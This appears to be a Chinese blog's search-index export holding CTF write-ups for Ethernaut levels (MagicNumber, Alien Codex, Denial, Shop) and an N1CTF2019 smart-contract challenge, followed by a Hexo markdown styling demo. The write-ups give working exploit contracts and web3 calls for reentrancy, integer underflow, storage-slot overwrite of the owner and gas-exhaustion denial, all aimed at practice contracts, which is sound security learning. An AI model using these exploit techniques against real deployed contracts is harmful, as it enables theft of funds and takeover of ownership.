________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */} Analyse多说的话 参考 https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 参考 https://f3real.github.io/Ethernaut_wargame19.html 图片来自于https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 先看一下 contract creation 期间会发生什么:1、首先,用户或合约将交易发送到以太网网络。此交易包含数据,但没有 to 地址,表明这是一个合约创建,而不是一个 send/call transaction2、其次,EVM 将 Solidity(高级语言)的合约代码编译为 bytecode(底层的机器语言),该 bytecode 直接转换为 opcodes ,在单个调用堆栈中运行 需要注意的是:contract creation 的 bytecode 包含两部分:initialization code 和 runtime code 3、在 contract creation 期间,EVM 仅执行 initialization code 直到到达堆栈中的第一条 STOP 或 RETURN 指令,在此阶段,合约的 constructor() 会被运行,合约便有地址了 在运行 initialization code 后,只有 runtime code 在堆栈上,然后将这些 opcode 拷贝 到 memory 并返回到 EVM 4、最后,EVM 将 runtime code 返回的 opcode 存储在 state storage ,并与新的合约地址相关联,在将来对新合约的调用时,这些 runtime code 将被执行 对于该题 所以为了解决该题,我们需要 initialization opcodes 和 runtime codes initialization opcodes: 由 EVM 运行创建合约并存储将来要用的 runtime codes runtime codes: 包含所需的实际执行逻辑。对于本题来说,这是应该返回的代码的主要部分,应该 return 42 并且 under 10 opcodes 1、先来看 runtime codes : 返回值由 return(p, s) 操作码处理,但是在返回值之前,必须先存储在内存中,使用 mstore(p, v) 将 42 存储在内存中 首先,使用 mstore(p, v) 将 42 存储在内存中,其中 p 是在内存中的存储位置, v 是十六进制值,42 的十六进制是 0x2a 1230x602a ;PUSH1 0x2a v0x6080 ;PUSH1 0x80 p0x52 ;MSTORE 然后,使用 return(p, s) 返回 0x2a ,其中 p 是值 0x2a 存储的位置,s 是值 0x2a 存储所占的大小 0x20 ,占32字节 1230x6020 ;PUSH1 0x20 s0x6080 ;PUSH1 0x80 p0xf3 ;RETURN 所以 runtime codes 应该是 602a60805260206080f3 ,正好 10 opcodes 2、再来看 initialization codes : 首先,initialization codes 需要先将 runtime codes 拷贝到内存,然后再将其返回到 EVM 。将代码从一个地方复制到另一个地方是 codecopy(t, f, s) 操作码。t 是代码的目标位置,f 是 runtime codes 的当前位置,s 是代码的大小,以字节为单位,对于 602a60805260206080f3 就是 10 bytes 12345;copy bytecode to memory0x600a ;PUSH1 0x0a S(runtime code size)0x60?? ;PUSH1 0x?? F(current position of runtime opcodes)0x6000 ;PUSH1 0x00 T(destination memory index 0)0x39 ;CODECOPY 然后,需要将内存中的 runtime codes 返回到 EVM 1234;return code from memory to EVM0x600a ;PUSH1 0x0a S0x6000 ;PUSH1 0x00 P0xf3 ;RETURN initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c 所以,initialization codes 最后的顺序是 600a600c600039600a6000f3 所以,opcodes最后的顺序是 0x600a600c600039600a6000f3602a60805260206080f3 Solution12var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)}); 得到https://ropsten.etherscan.io/tx/0x2e2a636712b37e27af795073a7be6fca9ddfdf964a2356d98c113463c69359ff,点击查看如下,得到 Contract address 为 0x7baa1861df4eff11ff258e657bff2420be19b564 调用题目合约 setsolver(“0x7baa1861df4eff11ff258e657bff2420be19b564”) 即可 Alien CodexRequire You've uncovered an Alien contract. Claim ownership to complete the level. Source12345678910111213141516171819202122232425262728293031pragma solidity ^0.4.24;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function make_contact(bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200); contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; }} Analyse 合约开头 import 了 Ownable.sol 合约,同时也引入了一个 owner 变量 12await web3.eth.getStorageAt(instance, 0, function(x, y) {console.info(y)});// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5 其中 owner = 0x73048cec9010e92c298b016966bde1cc47299df5 ,contract = 0x0,这是由于 EVM 存储优化的关系,可以参考 https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage 并且数组 codex 的 slot 为 1 ,同时这也是存储数组 length 的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置 Keccak256 是紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起,所以要用 keccak256(bytes32(1)) 参考 Solidity中各种变量的存储方式 这样我们就知道了 codex 实际的存储的 slot ,可以将动态数组内变量的存储位计算方法概括为: array[array_slot_index] == SLOAD(keccak256(slot(array)) + slot_index). 因为总共有 2^256 个 slot ,要修改 slot 0 ,假设 codex 实际所在 slot x ,(对于本题来说,数组的 slot是 1 , x=keccak256(bytes32(1))) ,那么当我们修改 codex[y],(y=2^256-x+0) 时就能修改 slot 0 ,从而修改 owner 我们要修改 codex[y] ,那就要满足 y < codex.length ,而这个时候 codex.length =0 ,但是我们可以通过 retract() 使 length 下溢,然后就可以操纵 codex[y] 了 123await web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)});// codex.length// 0x0000000000000000000000000000000000000000000000000000000000000000 但是无论调用题目合约哪个函数,都要满足 modifier contacted() ,所以要先使 contact=true ,也就是要先解决 make_contact 这个问题 Solution1、先看 make_contact 函数,我们需要传人一个 length>2^200 的数组,OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验,所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送123456789101112sig = web3.sha3("make_contact(bytes32[])").slice(0,10) // 函数id// "0x1d3d4c0b"data1 = "0000000000000000000000000000000000000000000000000000000000000020" //偏移,指的是除了函数id,数组内容开始的位置,在这里我们设置的是offset=32// 除去函数选择器,数组长度的存储从第 0x20 位开始data2 = "1000000000000000000000000000000000000000000000000000000000000001" //length>2^200// 数组的长度await contract.contact()// falsecontract.sendTransaction({data: sig + data1 + data2});// 发送交易await contract.contact()// true 2、计算 codex 位置为 slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 所以 y = 2^256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 0 即 y = 35707666377435648211887908874984608119992236509074197713628505308453184860938 123456789pragma solidity ^0.4.24;contract codex { function cal() view returns(bytes32){ return keccak256((bytes32(1))); } } 3、可以看到 y = 35707666377435648211887908874984608119992236509074197713628505308453184860938 很大,而 codex.length=0(见Analyse) 很小,我们通过 retract() 使得 codex 数组 length 下溢,使其满足 y < codex.length12345678web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)}); // codex.length// 0x0000000000000000000000000000000000000000000000000000000000000000contract.retract()// codex.length--web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)}); // codex.length// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 4、由2和3已经计算出 codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0 ,在 Analyse 中提到 slot 0 中同时存储了 contact 和 owner ,我们只需将 owner 换成 player 地址即可123456789await contract.owner()// "0x73048cec9010e92c298b016966bde1cc47299df5"player// "0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2"contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x00000000000000000000000088d3052d12527f1fbe3a6e1444ea72c4ddb396c2')// 调用 revise()await contract.owner()// "0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2"// Submit instance DenialRequire This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level. 结合代码看了一下,要求就是在调用 withdraw 时,禁止 owner 转走账户的 1% 的余额 Source123456789101112131415161718192021222324252627282930313233343536pragma solidity ^0.4.24;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Denial { using SafeMath for uint256; address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance.div(100); // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; }} Analyse 可以使 transfer 失败,也就是把 gas 耗光 使用 assert 失败的话,将会 spend all gas ,这样的话 owner.transfer(amountToSend) 将执行失败 这里还有一个很明显的重入漏洞 partner.call.value(amountToSend)() ,利用重入漏洞把 gas 消耗完,应该也可以达到目的(自行尝试) Solution1234567891011121314151617181920212223242526272829303132333435363738394041424344454647pragma solidity ^0.4.24;contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance/100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; }}contract hack { address instance_address = 0xe6cdb72d9fec660b78eb2390ffa67ab61b766e51; Denial target = Denial(instance_address); function hack1() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function() payable { assert(0==1); }} 直接调用 hack1() 即可 ShopRequire 题目意思是修改 price 小于 100 (不过这个题目好像下线了23333) Source12345678910111213141516171819pragma solidity 0.4.24;interface Buyer { function price() external view returns (uint);}contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price.gas(3000)() >= price && !isSold) { isSold = true; price = _buyer.price.gas(3000)(); } }} Analyse 本来想的是利用 storage 修改,可是修改变量需要 5000 gas,但是我们只有 3000 所以需要另想办法,发现 isSold 是 public 属性,所以可以利用 isSold ,根据 isSold 进行判断,两次调用 _buyer.price.gas(3000)() 第一次返回大于等于 100 ,第二次返回小于 100 即可 Solution12345678910111213141516171819202122232425262728pragma solidity 0.4.24;contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price.gas(3000)() >= price && !isSold) { isSold = true; price = _buyer.price.gas(3000)(); } }}contract Buyer { address instance_address = instance_address_here; Shop target = Shop(instance_address); function price() external view returns (uint){ return Shop(msg.sender).isSold() == true ? 99 : 100; } function attack() public { target.buy(); }} 直接调用 attack() 即可 Referencehttp://mitah.cn/index.php/archives/14/https://f3real.github.io/Ethernaut_wargame2022.html#lvl-21-denialhttps://www.codercto.com/a/38161.htmlhttps://www.secpulse.com/archives/73682.htmlhttps://www.anquanke.com/post/id/148341#h2-12https://xz.aliyun.com/t/2856#toc-4https://blog.riskivy.com/智能合约ctf:ethernaut-writeup-part-4/https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Solidity</tag>
<tag>Smart Contract</tag>
<tag>Ethernaut</tag>
</tags>
</entry>
<entry>
<title><![CDATA[N1CTF2019 h4ck]]></title>
<url>%2F2019%2Fh4ck%2F</url>
<content type="text"><![CDATA[前言前段时间参加了一下N1CTF2019(作为小白参加),很幸运做出一道Smart Contract的题目,在此记录一下,合约地址如下:https://kovan.etherscan.io/address/0xe2d6d8808087d2e30eadf0acb67708148dbee0c0 Contract Code123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142/** *Submitted for verification at Etherscan.io on 2019-09-07*//** *Submitted for verification at Etherscan.io on 2019-05-31*/pragma solidity ^0.4.25;contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; }}contract challenge is owned{ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => uint256) public sellTimes; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public winner; event Transfer(address _from, address _to, uint256 _value); event Burn(address _from, uint256 _value); event Win(address _address,bool _win); constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function balanceOf(address _address) public view returns (uint256 balance) { return balanceOf[_address]; } function buy() payable public returns (bool success){ require(balanceOf[msg.sender]==0); require(msg.value == 1 wei); _transfer(address(this), msg.sender, 1); sellTimes[msg.sender] = 1; return true; } function sell(uint256 _amount) public returns (bool success){ require(_amount >= 100); require(sellTimes[msg.sender] > 0); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); msg.sender.call.value(_amount)(); _transfer(msg.sender, address(this), _amount); sellTimes[msg.sender] -= 1; return true; } function winnerSubmit() public returns (bool success){ require(winner[msg.sender] == false); require(sellTimes[msg.sender] > 100); winner[msg.sender] = true; emit Win(msg.sender,true); return true; } function kill(address _address) public onlyOwner { selfdestruct(_address); } function eth_balance() public view returns (uint256 ethBalance){ return address(this).balance; } } 分析 题目的要求是execute the winnerSubmit function 1234567function winnerSubmit() public returns (bool success){ require(winner[msg.sender] == false); require(sellTimes[msg.sender] > 100); winner[msg.sender] = true; emit Win(msg.sender,true); return true;} 这里有两个require,其中第一个require很容易满足,创建winner的时候默认全为false,所以只要满足第二个require即可 require(winner[msg.sender] == false); require(sellTimes[msg.sender] > 100); 阅读合约代码,发现sell函数,这里的msg.sender.call.value(_amount)()存在Reentrancy漏洞,同时可以使得sellTimes[msg.sender] -= 1,如果能产生下溢就行了,所以需要找一下初始化sellTimes[msg.sender]的地方,但是这里有4个require: 第一个require很容易满足 第二个require可以看下面的buy函数分析 第三个require可以使用薅羊毛攻击方法,使得balanceOf[msg.sender]达到指定数额 第四个require自动满足,address(this).balance给的很大12345678910function sell(uint256 _amount) public returns (bool success){ require(_amount >= 100); require(sellTimes[msg.sender] > 0); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); msg.sender.call.value(_amount)(); _transfer(msg.sender, address(this), _amount); sellTimes[msg.sender] -= 1; return true;} 找到了buy函数,可以使得sellTimes[msg.sender] = 1,这里有两个require,第一个很容易满足,默认就是0,所以只要msg.value == 1 wei即可,这样的话buy函数就可以改变sellTimes[msg.sender]为1了 1234567function buy() payable public returns (bool success){ require(balanceOf[msg.sender]==0); require(msg.value == 1 wei); _transfer(address(this), msg.sender, 1); sellTimes[msg.sender] = 1; return true;} 这样的话,如果利用buy函数先使得sellTimes[msg.sender]=1,然后调用sell函数利用Reentrancy漏洞重入攻击两次的话,sellTimes[msg.sender]是uint256类型,连续两次减1可以下溢,远远大于100,便可满足winnerSubmit中的第二个require,攻击成功 部署攻击合约攻击合约代码这里部署了两个合约(不要在意命名了23333),hacker是攻击合约,hacker1是辅助合约,用来完成薅羊毛转账用到的, 注意在部署hacker的同时转账1 wei,目的是调用后面的buy函数 部署hacker1的同时转账200 wei,目的是完成后面薅羊毛转账,若amount=100 wei,则可以Reentrancy攻击两次,完成攻击1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253contract hacker { address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0; challenge target = challenge(instance_address); function hacker() payable {} function hack1(){ target.buy.value(1)(); } function hack4(){ target.sell(uint(100)); } function get() public view returns (uint256 balance) { return address(this).balance; } function hack5(){ target.winnerSubmit(); } function() public payable { target.sell(uint(100)); } }contract hacker1 { address instance_address = 0xe2d6d8808087d2e30eadf0acb67708148dbee0c0; challenge target = challenge(instance_address); function hacker1() payable {} function hack1(){ target.buy.value(1)(); } function hack2(){ target.transfer(address(0x5ebec5286e74362613a5e6e8e3bb90df408fe2a7), 1); } function hack3(){ for(uint i = 0; i<100; i++){ hack1(); hack2(); } } function get() public view returns (uint256 balance) { return address(this).balance; }} 调用步骤攻击合约地址0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8薅羊毛辅助合约地址0x334e9e1c289be32000182e549fbadf27589b436e 调用hacker的hack1函数,使得sellTimes[address hacker]=1,balanceOf[address hacker]=1 wei 调用hacker1的hack3函数两次,使得balanceOf[address hacker]+200=201 调用hacker的hack4函数两次,每次amount=100,这样便使得sellTimes[address hacker]完成下溢,可以看到sellTimes[address hacker]已经下溢到一个很大的数 最后调用hacker的hack5调用winnerSubmit完成攻击(主办方服务已关闭23333所以没法看到flag,只有当时被搅屎棍搞过的一张截图了,一直拿不到flag,最后发现flag只有在请求的那一瞬间会出现而且仅出现一次,请原谅我不会利用web3自动化模拟攻击,不过最后还是解决了,写了个脚本,一直请求就可以,成功拿到了flag,脚本如下)123456import requestsurl="http://47.244.41.61/challenge?address=0x48e3c62a006758d26b3ded0f4e28317fe0ea9dc8"while True: print requests.get(url).content.split("alert")[1].split("script")[0]]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>Solidity</tag>
<tag>Smart Contract</tag>
<tag>N1CTF2019</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Start My Blog Trip]]></title>
<url>%2F2019%2FHello-World%2F</url>
<content type="text"><![CDATA[前言介绍Grammar及其Style 名言Life is a generic method like [ public Life doSomething(T t){} ],T is the part of life that requires you to play in a period of time,and the method will return a life you expect if you to be T. —— 沃·兹基硕德 1234{% centerquote %}Life is a generic method like [ public <T> Life doSomething(T t){} ],T is the part of life that requires you to play in a period of time,and the method will return a life you expect if you to be T. —— ***沃·兹基硕德***{% endcenterquote %} 下载图形边框 Download Now1234<a id="download" href="https://git-scm.com/download/win"> <i class="fa fa-download"></i> <span> Download Now</span></a> 在文档中增加图标 支持MarkdownHexo 支持 GitHub Flavored Markdown 的所有功能, 甚至可以整合 Octopress 的大多数插件. 一键部署只需一条指令即可部署到Github Pages, 或其他网站 丰富的插件Hexo 拥有强大的插件系统, 安装插件可以让 Hexo 支持 Jade, CoffeeScript. 123456- <i class="fa fa-pencil"></i>支持Markdown<i>Hexo 支持 GitHub Flavored Markdown 的所有功能, 甚至可以整合 Octopress 的大多数插件. </i>- <i class="fa fa-cloud-upload"></i>一键部署<i>只需一条指令即可部署到Github Pages, 或其他网站</i>- <i class="fa fa-cog"></i>丰富的插件<i>Hexo 拥有强大的插件系统, 安装插件可以让 Hexo 支持 Jade, CoffeeScript. </i> <i class="fa fa-github"></i>1<i class="fa fa-github"></i>`<i class="fa fa-github"></i>` <i class="fa fa-github fa-lg"></i>1<i class="fa fa-github fa-lg"></i>`<i class="fa fa-github fa-lg"></i>` <i class="fa fa-github fa-2x"></i>1<i class="fa fa-github fa-2x"></i>`<i class="fa fa-github fa-2x"></i>` 文字增加背景色块站点配置文件 , 主题配置文件1234<span id="inline-blue">站点配置文件</span>,<span id="inline-purple">主题配置文件</span><span id="inline-green">站点配置文件</span>,<span id="inline-yellow">主题配置文件</span> 引用边框变色我要变色我要变色我要变色我要变色 123456789101112131415<p id="div-border-top-red">我要变色</p><p id="div-border-top-yellow">我要变色</p><p id="div-border-top-green">我要变色</p><p id="div-border-top-blue">我要变色</p><p id="div-border-top-purple">我要变色</p><p id="div-border-left-red">我要变色</p><p id="div-border-left-yellow">我要变色</p><p id="div-border-left-green">我要变色</p><p id="div-border-left-blue">我要变色</p><p id="div-border-left-purple">我要变色</p><p id="div-border-right-red">我要变色</p><p id="div-border-right-yellow">我要变色</p><p id="div-border-right-green">我要变色</p><p id="div-border-right-blue">我要变色</p><p id="div-border-right-purple">我要变色</p> 英文圈起来的样式圈圈圆圆1`圈圈圆圆` 插入代码12345678910111213var disqus = { load : function disqus(){ if(typeof DISQUS !== 'object') { (function () { var s = document.createElement('script'); s.async = true; s.type = 'text/javascript'; s.src = '//' + disqus_shortname + '.disqus.com/embed.js'; (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s); }()); $('#load-disqus').html("评论加载中, 请确保你有梯子, 若评论长时间未加载则你可能翻墙失败...").fadeOut(9000); //加载后移除按钮 } }} 1使用```(结尾还有一个)javascript 图片1![](https://blog-1252762426.cos.ap-beijing.myqcloud.com/blog/Hello-World/header_background.jpg) 代码高亮Hello World示例这是链接1234 public static void main(String[] args) {+ System.out.println("Hello World!");- System.out.println("Hello World!"); } 正确姿势, 代码片段开头:1[language] [title] [url] [link-text] [language] 是代码语言的名称, 用来设置代码块颜色高亮, 非必须; [title] 是顶部左边的说明, 非必须; [url] 是顶部右边的超链接地址, 非必须; [link text] 如它的字面意思, 超链接的名称, 非必须. 这 4 项应该是根据空格来分隔, 而不是[], 故请不要加[]. 除非如果你想写后面两个, 但不想写前面两个, 那么就必须加[]了, 要这样写: [] [] [url] [link text]. 链接https://hitcxy.com1[https://hitcxy.com](https://hitcxy.com) 无序列表 没有顺序1 没有顺序2 没有顺序3123- 没有顺序1- 没有顺序2- 没有顺序3 链接+列表 百度提交入口 Google提交入口 360提交入口123* ***[百度提交入口](http://zhanzhang.baidu.com/linksubmit/url)**** ***[Google提交入口](https://www.google.com/webmasters/tools/home?hl=zh-CN)**** ***[360提交入口](http://info.so.360.cn/site_submit.html)*** 斜体你看我斜不斜1*你看我斜不斜* 强调你看我重不重要1**你看我重不重要** 参考 参考http://codepub.cn/2015/04/06/Github-Pages-personal-blog-from-Octopress-to-Hexo/http://codepub.cn/2016/03/20/Hexo-blog-theme-switching-from-Jacman-to-NexT-Mist/123> **参考**> ***[http://codepub.cn/2015/04/06/Github-Pages-personal-blog-from-Octopress-to-Hexo/](http://codepub.cn/2015/04/06/Github-Pages-personal-blog-from-Octopress-to-Hexo/)***> ***[http://codepub.cn/2016/03/20/Hexo-blog-theme-switching-from-Jacman-to-NexT-Mist/](http://codepub.cn/2016/03/20/Hexo-blog-theme-switching-from-Jacman-to-NexT-Mist/)*** 好看的符号「啦啦啦」就像这样↓]]></content>
<categories>
<category>Hexo</category>
</categories>
<tags>
<tag>Hexo</tag>
<tag>Hello</tag>
<tag>Grammar</tag>
</tags>
</entry>
</search>